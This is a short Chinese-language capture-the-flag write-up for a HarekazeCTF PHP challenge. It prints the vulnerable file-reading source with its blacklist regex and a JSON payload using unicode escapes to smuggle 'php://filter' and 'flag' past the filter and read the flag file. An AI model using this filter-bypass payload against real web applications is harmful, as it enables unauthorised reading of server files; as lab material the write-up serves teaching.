源码如下:
<?php error_reporting(0); if (isset($_GET['source'])) { show_source(__FILE__); exit(); } function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; } $body = file_get_contents('php://input'); $json = json_decode($body, true); if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; } // no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]);
大概意思就是, 以json
的格式传入想读的文件名 ,然后有一个名为is_valid函数会检查输入的内容,要避开它的黑名单。
正常来说应该是:
php://filter/read=convert.base64-encode/resource=flag
但是不能输入php,这里涉及一个知识点:
php的json_decode在遇到unicode编码时会自动把它转换成正常的字符
Unicode编码转换 。把“php”和“flag”替换掉一个字符。
ph\u0070://filter/read=convert.base64-encode/resource=\u0066lag
转为Json形式:
{“page”:”ph\u0070://filter/read=convert.base64-encode/resource=/\u0066lag”}